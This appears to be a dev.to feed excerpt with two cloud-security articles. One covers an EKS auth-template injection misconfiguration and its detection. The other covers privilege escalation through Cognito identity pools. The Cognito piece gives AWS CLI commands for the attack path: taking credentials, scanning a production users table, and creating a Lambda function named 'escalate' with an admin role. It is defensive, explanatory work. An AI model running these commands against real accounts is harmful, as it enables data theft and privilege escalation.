  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.auth.kind&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.auth.webhook.identity_mapping.uses_access_key_id&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two leaf clauses, both required. Severity &lt;code&gt;high&lt;/code&gt; where the cluster's identity layer is one URL parameter away from impersonation, but the control fires on the configuration shape, not on a confirmed exploitation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Z3 Doesn't Help
&lt;/h2&gt;

&lt;p&gt;This is a presence check at the collector layer. The collector inspects the template strings for &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; and emits a boolean. CEL evaluates the boolean.&lt;/p&gt;

&lt;p&gt;A reachability question "given the URL parser's normalisation behaviour and the STS response format, is there an HTTP encoding that yields a different AccessKeyID on each side?" &lt;em&gt;would&lt;/em&gt; be Z3-shaped, but that's URL-parser semantics, not configuration semantics.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproducing The Detection
&lt;/h2&gt;

&lt;p&gt;The repository ships a self-contained example at&lt;br&gt;
&lt;code&gt;stave/examples/eks-aws-auth-template-injection/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;go run ./examples/eks-aws-auth-template-injection before
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Captured stdout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== before ({{AccessKeyID}} template) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.K8S.AUTH.ACCESSKEYMAP.001 fired on 1 asset(s):
    - acme-eks-cluster   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the template is fixed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== after  ({{SessionName}} + role ARN) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.K8S.AUTH.ACCESSKEYMAP.001: no findings
  assertion: fires=false (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why This Bug Slipped Past Reviews
&lt;/h2&gt;

&lt;p&gt;The mapping template syntax itself was sanctioned in the upstream documentation. Operators who wrote &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; were following the example. The documentation didn't make the parser-mismatch risk visible. The substitution looked semantically similar to &lt;code&gt;{{SessionName}}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The deeper issue is the &lt;em&gt;layer the value crosses&lt;/em&gt;. &lt;code&gt;{{SessionName}}&lt;/code&gt; and the role ARN are values STS returns to the authenticator after signature verification. &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; is a value the authenticator reads back from the request URL which means it's already been consumed by AWS for signature verification, but the verification is about the request's integrity, not about the field's value being authentic. Two different verifications on two different layers.&lt;/p&gt;

&lt;p&gt;This is a recurring pattern in cloud-provider auth flows: the client provides several values, the provider authenticates the request, then a downstream component reads one of those values back and treats it as authenticated by association. The downstream component's trust assumption is unjustified.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Remediation
&lt;/h2&gt;

&lt;p&gt;The minimal fix: replace &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; with &lt;code&gt;{{SessionName}}&lt;/code&gt; in every identity-mapping template. The deeper fix: stop using template substitution for user identity at all. Use ARN-based exact matching:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mapRoles&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
  &lt;span class="s"&gt;- rolearn: arn:aws:iam::111122223333:role/EksAdmin&lt;/span&gt;
    &lt;span class="s"&gt;username: eks-admin&lt;/span&gt;
    &lt;span class="s"&gt;groups:&lt;/span&gt;
      &lt;span class="s"&gt;- system:masters&lt;/span&gt;
  &lt;span class="s"&gt;- rolearn: arn:aws:iam::111122223333:role/EksDeveloper&lt;/span&gt;
    &lt;span class="s"&gt;username: eks-developer&lt;/span&gt;
    &lt;span class="s"&gt;groups:&lt;/span&gt;
      &lt;span class="s"&gt;- acme:developers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ARN-based mapping has the property that there is no client-controlled substring in the username. The substitution surface vanishes; no parser-mismatch exists to exploit.&lt;/p&gt;

&lt;p&gt;For clusters that legitimately need session-scoped usernames (rare, mostly for CI integrations where the IAM role is shared across many concurrent jobs), &lt;code&gt;{{SessionName}}&lt;/code&gt; provides identifiers that come from the STS response and survive the parameter-pollution attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prevention Lesson
&lt;/h2&gt;

&lt;p&gt;Three layers, in priority order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Helm chart enforcement.&lt;/strong&gt; The &lt;code&gt;aws-auth&lt;/code&gt; ConfigMap is typically managed via a Helm chart or Terraform module. The chart's variable schema rejects any value matching &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; at template-render time. The chart fails to render rather than producing an unsafe ConfigMap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Admission policy.&lt;/strong&gt; For clusters where the ConfigMap is edited directly, OPA Gatekeeper or Kyverno watches the &lt;code&gt;aws-auth&lt;/code&gt; ConfigMap and denies any update whose &lt;code&gt;mapRoles&lt;/code&gt; / &lt;code&gt;mapUsers&lt;/code&gt; content contains &lt;code&gt;{{AccessKeyID}}&lt;/code&gt;. The deny fires at admission time before the misconfiguration reaches the cluster.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;stave apply&lt;/code&gt; in CI&lt;/strong&gt; against the post-deploy observation snapshot. The example shipped with this article is the template. PRs that introduce a cluster with &lt;code&gt;uses_access_key_id: true&lt;/code&gt; produce exit code 3.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Identity-mapping templates in &lt;code&gt;aws-iam-authenticator&lt;/code&gt; do not contain &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; (use &lt;code&gt;{{SessionName}}&lt;/code&gt; or ARN-based exact matching)&lt;/li&gt;
&lt;li&gt;Helm chart / Terraform module validates the template content at render time&lt;/li&gt;
&lt;li&gt;OPA Gatekeeper or Kyverno denies &lt;code&gt;aws-auth&lt;/code&gt; ConfigMap updates that introduce &lt;code&gt;{{AccessKeyID}}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stave apply&lt;/code&gt; runs in CI against post-deploy observations; PRs with &lt;code&gt;uses_access_key_id: true&lt;/code&gt; fail&lt;/li&gt;
&lt;li&gt;Cluster authentication audits explicitly verify the substitution sources for identity-mapping templates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The substitution looked safe because the syntax was documented. The bug was that the documented syntax trusted client-controllable input. The lesson is upstream of EKS: &lt;strong&gt;any auth template whose substitutions cross a trust boundary needs an explicit declaration of which values came from where.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The example at &lt;a href="https://github.com/sufield/stave/tree/main/examples/eks-aws-auth-template-injection" rel="noopener noreferrer"&gt;&lt;code&gt;eks-aws-auth-template-injection&lt;/code&gt;&lt;/a&gt; is a self-contained Go program that loads two fixture snapshots, runs &lt;code&gt;pkg/stave.Apply&lt;/code&gt;, asserts that &lt;code&gt;CTL.K8S.AUTH.ACCESSKEYMAP.001&lt;/code&gt; fires on the template-injection fixture and is silent on the remediated one, and exits zero when both assertions hold. &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt; detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, with no cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>kubernetes</category>
      <category>eks</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Your Authenticated Users Can Escalate to Admin. Your Scanner Doesn't Check.</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Tue, 08 Sep 2026 12:09:01 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/your-authenticated-users-can-escalate-to-admin-your-scanner-doesnt-check-23l2</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/your-authenticated-users-can-escalate-to-admin-your-scanner-doesnt-check-23l2</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your Cognito identity pool maps authenticated users to an IAM role. That role was created with the permissions the app needed at launch. Over eighteen months, the app grew. The role's policy grew with it. Today it has &lt;code&gt;s3:*&lt;/code&gt;, &lt;code&gt;dynamodb:*&lt;/code&gt;, and &lt;code&gt;iam:PassRole&lt;/code&gt;. These permissions were added one by one during feature sprints, each individually approved, each "just for this one thing."&lt;/p&gt;

&lt;p&gt;Your scanner checks the role and reports "overpermissioned." Your team triages it as a MEDIUM. It's on the backlog.&lt;/p&gt;

&lt;p&gt;What the scanner didn't check: every authenticated user in your application can assume this role. Not just admins or just internal users. Every user who self-registered, confirmed their email, and logged in through the app's public-facing sign-up flow. That MEDIUM is an open privilege escalation path from any authenticated user to near-admin AWS access.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trust model nobody audits
&lt;/h2&gt;

&lt;p&gt;Cognito identity pools map authenticated users to IAM roles via role mappings. The simplest mapping and the default is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"authenticated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:role/Cognito_appAuth_Role"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every user who authenticates through any configured identity provider (Cognito user pool, Google, Facebook, SAML) gets temporary credentials for &lt;code&gt;Cognito_appAuth_Role&lt;/code&gt;. The role's trust policy allows &lt;code&gt;cognito-identity.amazonaws.com&lt;/code&gt; to assume it. No per-user distinction or group-based mapping. Every authenticated user is equal in the eyes of IAM.&lt;/p&gt;

&lt;p&gt;This is the gap: the identity provider has user groups, roles, and permissions. The identity pool flattens all authenticated users to one IAM role. Whatever that role can do, every user can do.&lt;/p&gt;

&lt;h2&gt;
  
  
  How escalation happens
&lt;/h2&gt;

&lt;p&gt;The app's backend uses &lt;code&gt;Cognito_appAuth_Role&lt;/code&gt; to access AWS services on behalf of the user. Over time, the role accumulated permissions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 1:&lt;/strong&gt; &lt;code&gt;s3:GetObject&lt;/code&gt; on the app's public content bucket. Reasonable, the app serves images from S3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 3:&lt;/strong&gt; &lt;code&gt;s3:PutObject&lt;/code&gt; on the user uploads bucket. Reasonable, users upload profile photos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 6:&lt;/strong&gt; &lt;code&gt;dynamodb:*&lt;/code&gt; on the app's tables. The developer needed it for a feature sprint. The permission stayed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 9:&lt;/strong&gt; &lt;code&gt;iam:PassRole&lt;/code&gt; for a Lambda function deployment feature. An internal tool required it. The condition restricting which roles could be passed was never added.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 12:&lt;/strong&gt; &lt;code&gt;s3:*&lt;/code&gt; on a new analytics bucket. The analytics pipeline needed to read and write. The resource was specified as &lt;code&gt;arn:aws:s3:::analytics-*&lt;/code&gt; matching every bucket whose name starts with "analytics."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Month 18 (today):&lt;/strong&gt; The role has broad S3 access, full DynamoDB access, and &lt;code&gt;iam:PassRole&lt;/code&gt;. Any authenticated user can:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get credentials as any authenticated user&lt;/span&gt;
aws cognito-identity get-credentials-for-identity &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--identity-id&lt;/span&gt; &amp;lt;auth-identity-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--logins&lt;/span&gt; &lt;span class="s1"&gt;'{"cognito-idp.us-east-1.amazonaws.com/us-east-1_xxx": "&amp;lt;id-token&amp;gt;"}'&lt;/span&gt;

&lt;span class="c"&gt;# List all accessible buckets&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt;

&lt;span class="c"&gt;# Read from the analytics bucket&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://analytics-prod/reports/revenue-2025.csv &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate DynamoDB tables&lt;/span&gt;
aws dynamodb list-tables

&lt;span class="c"&gt;# Read any table&lt;/span&gt;
aws dynamodb scan &lt;span class="nt"&gt;--table-name&lt;/span&gt; users-prod

&lt;span class="c"&gt;# PassRole to a Lambda (potential for further escalation)&lt;/span&gt;
aws lambda create-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; escalate &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::111122223333:role/AdminRole &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--handler&lt;/span&gt; index.handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; nodejs18.x &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://payload.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A regular user, someone who registered through the public sign-up form has access to revenue reports, production user data, and the ability to create Lambda functions that run with admin permissions. Because the authenticated role accumulated permissions over eighteen months and every authenticated user shares it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the scanner sees vs. what exists
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scanner check&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;The actual question&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Is this IAM role overpermissioned?&lt;/td&gt;
&lt;td&gt;⚠️ MEDIUM&lt;/td&gt;
&lt;td&gt;Who can assume this role?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does this role have &lt;code&gt;iam:PassRole&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;⚠️ MEDIUM&lt;/td&gt;
&lt;td&gt;Is PassRole scoped to specific target roles?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is this identity pool correctly configured?&lt;/td&gt;
&lt;td&gt;✅ PASS&lt;/td&gt;
&lt;td&gt;Does the authenticated role mapping match the app's authorization model?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Are Cognito user groups configured?&lt;/td&gt;
&lt;td&gt;✅ PASS&lt;/td&gt;
&lt;td&gt;Are groups used for role differentiation in the identity pool?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four checks, four independent results. The scanner sees an overpermissioned role (MEDIUM) and a correctly configured identity pool (PASS). It doesn't connect them: the correctly configured identity pool maps every authenticated user to the overpermissioned role. The PASS and the MEDIUM together are a CRITICAL.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three ingredients
&lt;/h2&gt;

&lt;p&gt;The escalation requires three configurations to coexist:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Default role mapping (no per-group differentiation)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"IdentityPoolId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us-east-1:abc123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Roles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"authenticated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:role/Cognito_appAuth_Role"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"RoleMappings"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Empty &lt;code&gt;RoleMappings&lt;/code&gt; means Cognito uses the default &lt;code&gt;authenticated&lt;/code&gt; role for every user. No group-based differentiation. An admin and a free-tier user get the same IAM permissions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Overly broad authenticated role&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"PolicyDocument"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"s3:*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dynamodb:*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iam:PassRole"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The role's policy is the accumulation of eighteen months of feature sprints. Each permission was added for a specific feature. None were removed when the feature was finished or the approach changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Self-registration enabled&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserPoolId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us-east-1_xxxxx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AdminCreateUserConfig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AllowAdminCreateUserOnly"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anyone can create an account. The sign-up form is public. Email verification is the only gate. Once verified, the user authenticates and receives credentials for the overpermissioned role.&lt;/p&gt;

&lt;p&gt;Each ingredient is independently defensible. Default role mapping is the Cognito default. Broad permissions accumulated gradually. Self-registration is a business requirement. The interaction between all three creates an open escalation path from public sign-up to near-admin AWS access.&lt;/p&gt;

&lt;h2&gt;
  
  
  What compound detection finds
&lt;/h2&gt;

&lt;p&gt;Analyzing the full configuration consisting of identity pool, IAM role, and user pool together:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Individual findings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[MEDIUM]  IAM role has s3:* without resource restriction
[MEDIUM]  IAM role has iam:PassRole without condition restriction
[MEDIUM]  IAM role has dynamodb:* without resource restriction
[LOW]     Identity pool uses default role mapping (no group differentiation)
[INFO]    Self-registration is enabled (business decision, not a violation)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four findings across three severity levels. The IAM findings are MEDIUMs. They go on the backlog. The identity pool finding is LOW. It's a configuration note. Self-registration is INFO. It's a business requirement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compound finding:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CRITICAL] Authenticated role escalation chain
           Self-registration enabled (any internet user can create an account)
           + default role mapping (every authenticated user gets the same role)
           + role has s3:*, dynamodb:*, iam:PassRole
           = any self-registered user has near-admin AWS access

           Attacker cost: $0 (create a free account, confirm email)
           Fix: Add role-based mapping using Cognito groups ($0, 2 hours)
           Impact: Each user group gets only the permissions it needs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The compound reframes five findings that collectively score MEDIUM-on-the-backlog into one CRITICAL-fix-this-week. The attacker cost is zero. Creating an account is free and public. The fix is free. Cognito groups and role mappings are a configuration change, not a code change.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Create Cognito groups with scoped roles (the structural fix)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create groups with role mappings&lt;/span&gt;
aws cognito-idp create-group &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-name&lt;/span&gt; Admins &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::111122223333:role/App_AdminRole

aws cognito-idp create-group &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-name&lt;/span&gt; Users &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::111122223333:role/App_UserRole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Configure role mapping in the identity pool&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-identity set-identity-pool-roles &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--identity-pool-id&lt;/span&gt; us-east-1:abc123 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--roles&lt;/span&gt; &lt;span class="s1"&gt;'{"authenticated": "arn:aws:iam::111122223333:role/App_UserRole"}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-mappings&lt;/span&gt; &lt;span class="s1"&gt;'{
    "cognito-idp.us-east-1.amazonaws.com/us-east-1_xxxxx": {
      "Type": "Token",
      "AmbiguousRoleResolution": "Deny"
    }
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the identity pool reads the user's Cognito groups from the ID token and maps to the corresponding role. Admins get &lt;code&gt;App_AdminRole&lt;/code&gt;. Regular users get &lt;code&gt;App_UserRole&lt;/code&gt;. Users not in any group get denied (AmbiguousRoleResolution: Deny).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Scope each role's permissions&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# App_UserRole: only what regular users need&lt;/span&gt;
aws iam put-role-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-name&lt;/span&gt; App_UserRole &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-name&lt;/span&gt; user-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-document&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Statement": [{
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::user-uploads-prod/${cognito-identity.amazonaws.com:sub}/*"
    }]
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



